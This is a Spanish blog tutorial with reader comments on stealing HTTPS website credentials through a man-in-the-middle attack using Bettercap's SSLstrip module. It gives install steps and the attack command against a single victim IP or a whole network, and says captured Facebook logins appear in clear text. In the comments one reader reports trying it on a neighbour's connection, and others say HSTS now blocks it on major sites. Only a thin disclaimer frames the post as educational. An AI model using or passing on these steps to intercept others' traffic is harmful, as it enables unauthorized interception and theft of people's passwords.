Obtener credenciales HTTPS con Bettercap y SSLstrip

 

Para empezar este 2017, os traigo un tutorial sobre cómo obtener las credenciales de sitios web que tengan cifrado SSL/TLS (HTTPS) mediante una técnica llamada SSLstrip y el uso de un framework para realizar ataques MITM (ataque de hombre en el medio) llamado Bettercap, en Internet, existen multitud de tutoriales para realizar este ataque pero aquí os enseñaré como realizarlo de una manera muy simple.

Este tutorial lo hago con fines educativos y sobre todo éticos, no me hago responsable del mal uso que podáis dar con lo aprendido aquí.

 

¿Qué son las páginas https? ¿Qué diferencias hay con las http?

 

Muchas veces, nos damos cuenta cuando accedemos a alguna web, que aparece un candado verde en la parte izquierda de la barra de direcciones, esto quiere decirnos, que nuestra conexión con el servidor es segura, es decir, el tráfico entre los dos puntos viaja cifrado.

Este tipo de páginas podemos encontrarlas en aquellas que requieran un nivel «extra» de seguridad debido a que en ellas se maneja información sensible como por ejemplo contraseñas, números de tarjeta de crédito o información confidencial.

Un ejemplo del uso de estas páginas pueden ser las web de los bancos, páginas dedicadas al comercio electrónico (tiendas online) o sitios populares como Google, Facebook o Twitter.

Podríamos decir que la diferencia entre https y http es que la información se envía cifrada para evitar que un tercero capture el tráfico y vea lo que en ella se envía, el trafico https puede ser de igual manera capturado que el tráfico http, pero no podríamos leer lo que contiene (en principio).

 

Bettercap y SSLstrip

Bettercap es un framework que se utiliza para realizar ataques MITM (Man In The Middle) o hombre en el medio, estos ataques consisten básicamente en interponerse entre 2 equipos para ver que datos se intercambian.

A continuación os dejo unos links por si queréis echar un vistazo más a fondo a esta estupenda herramienta.

Sitio ofical de Bettercap

GitHub de Bettercap

 

Pero, ¿con interponerme en mitad de la conexión es suficiente?

Como bien os había dicho anteriormente, simplemente interponiéndonos en la conexión entre 2 equipos no es suficiente, necesitamos hacer uso de SSLstrip para poder leer lo que en ella se envía, más adelante lo veremos, os dejo un enlace hacia esta herramienta creada por Moxie Marlinspike.

GitHub de SSLstrip

 

Instalación de Bettercap.

Para instalar Bettercap, abrimos un terminal con permisos de superusuario y escribimos:

 

  1. Instalación de dependencias
apt-get install build-essential ruby-dev libpcap-dev

2. Clonamos el repositorio a nuestro equipo.

git clone https://github.com/evilsocket/bettercap

3. Nos posicionamos en la carpeta del proyecto

cd bettercap

4. Construimos las gemas.

gem build bettercap.gemspec

5. Instalamos las gemas

gem install bettercap*.gem

Uso de Bettercap y SSLstrip

Bettercap ya trae un módulo para realizar ataques SSLstrip, por eso creo que esta es la manera más sencilla para realizar este ataque, si conocéis otra manera más rápida y efectiva de realizar este ataque, os invito a que podáis publicarlo a continuación de este artículo.

 

Abrimos una terminal y escribimos:

bettercap

 

Deberíamos de ver todos los dispositivos conectados a nuestra red, es hora de acordarnos de la IP de la víctima, que en mi caso sería la IP 192.168.100.251.

 

 

Una vez sabemos la IP de la víctima, inicializamos Bettercap de la siguiente manera:

bettercap -T [IP VÍCTIMA] --proxy -P POST

En mi caso quedaría de la siguiente manera: bettercap -T 192.168.100.251 –proxy -P POST

 

Si queremos que el ataque se realice a toda la red, simplemente no especificamos la IP de la víctima, y comenzará a captura todo el tráfico de red.

bettercap -T --proxy -P POST

 

Una vez la víctima acceda a cualquier página https (en este caso Facebook).

 

 

Podremos ver el tráfico descifrado, y por lo tanto, las credenciales en texto claro.

 

 

Un saludo a todos.

Happy Hacking!!!

 

34 comentarios en “Obtener credenciales HTTPS con Bettercap y SSLstrip”

  1. Avatar

    Amigo, Excelente. Quería hacer unas consultas, de antemano disculpándome por la ignorancia.

    1. Esto que explicas es en Entorno Linux?
    2. Existe manera de realizar un ataque MITM ignorando el protocolo HSTS que actualmente utilizan todos los navegadores a través de HTTPS?

    Gracias!

        1. Javier Olmedo

          Buenas,
          Puedes utilizar las mismas, funcionan perfectamente, el problema es que ahora muchos sitios implementan la cabecera de seguridad HSTS (HTTP Stritc Transport Security) y entonces este ataque no puede llevarse a cabo.
          Saludos!!

  2. Avatar

    Esto solo funciona si el proceso de autenticación es también accesible por http. Bettercap y SSLStrip hacen lo mismo: “degradan” una conexión HTTPS a su equivalente HTTP. Esto es factible si se dan dos cosas:
    1- Existe la posibilidad de acceder a esa misma página por HTTP
    2- El navegador no se da cuenta de que le han “cambiado el protocolo”.
    Básicamente, estas dos cosas se pretenden evitar con HSTS.

  3. Avatar

    A mi capturar las credenciales Facebook sólo me ha funcionado si uso Facebook como proveedor de identidad ( oAuth , OpenID , etc )
    Si accedo directamente usando la página de login/password , no me funciona.

    Tampoco me funciona en otras páginas, como por ejemplo, GMX ( correo )

  4. Avatar

    Sin duda, ya no funciona ni el Facebook, ni Instragram, ni Gmail…. igual han cambiado su sistema de login https, pero os confirmo que no funciona ya.

    En cambio, para webs y blogs sin httpS, sí funciona en cuestión de décimas de segundo.

    saludos

  5. Avatar

    estimado he intentado realizar el ataque a mi propia conexion, a la conexion de mi vecino. en dispositivos con windows y en otros con android, pero luego del bettercap bettercap -T 192.168.0.23 –proxy -P POST . no me aparece nada, el metodo sigue funcionando aun ?. quedo atento a los comentarios he probado con dos redes sin obtener resultados en facebook por ejemplo. tambien probe enviar el ataque a toda la red.

  6. Avatar

    Buenas, me he descargado Kali 2016 e intentado realizar el tutorial pero me tira el siguiente error tras el primer paso:
    apt-get install build-essential ruby-dev libpcap-dev
    Que debo hacer?

  7. Avatar

    Buenos días
    Mira soy novato un en el tema pero quiero aprender.tengo un problema al comenzar la instalación de bettercp me salta este error…
    El archivo o documento libpcap no se encuentra
    Me puedes ayudar con eso gracias de antemano
    Bendiciones y éxitos
    El archivo o la ca

  8. Avatar

    Como es posible el descifrado sin que el navegador sospeche sobre la existencia de un mitm? Si la conexión de extremo a extremo no es de confianza el navegador alerta sobre un sitio sospechoso. Y segundo, no tienes la clave privada del certificado para validar tu personería. Con lo cual se me hace difícil de creer que esto sea tan fácil sin aceptar alguna condición de conexión sospechosa

    1. Javier Olmedo

      Buenas Sebastián,

      En este ataque no se ha tenido que aceptar ningún certificado falso ni el navegador advierte ningún tipo de alerta para que se sospeche por parte de la víctima.
      Puedes leer más sobre este ataque en los enlaces que hay publicados, para entender correctamente la manera como funciona SSLstrip.
      ¿Has realizado al pie de la letra el tutorial?

      Saludos.
      Gracias.

    2. Avatar

      Totalmente de acuerdo contigo. El tutorial parece un paseo pero la realidad es que sin certificado no hay nada que rascar. Cualquiera puede seguir ese tuto y comprobar que no funciona para conexiones HTTPS. Es más, hay otros tutoriales con pasos muy similares en el que la prueba se hace atacando un móvil Android y para el que ES NECESARIO aceptar un certificado en el teléfono para que funcione, lo que es lógico.

      1. Javier Olmedo

        Buenos días KaliMero,

        No hace falta aceptar certificado, ya que SSLstrip «desvía» el trafico hacía http, es decir, en realidad no estamos descifrando el tráfico.
        Es posible que este ataque ya no funcione en algunas webs con HTTP Strict Transport Security o HTTP con Seguridad de Transporte Estricta (HSTS).
        Por otro lado, el tutorial está explicado paso por paso tal y como lo hice yo, coméntame en que paso exacto del tutorial te pide el certificado para poder ayudarte, ya que algo no estarás haciendo correctamente si lo pide.

        Saludos,
        Gracias.

Deja tu comentario

Ir arriba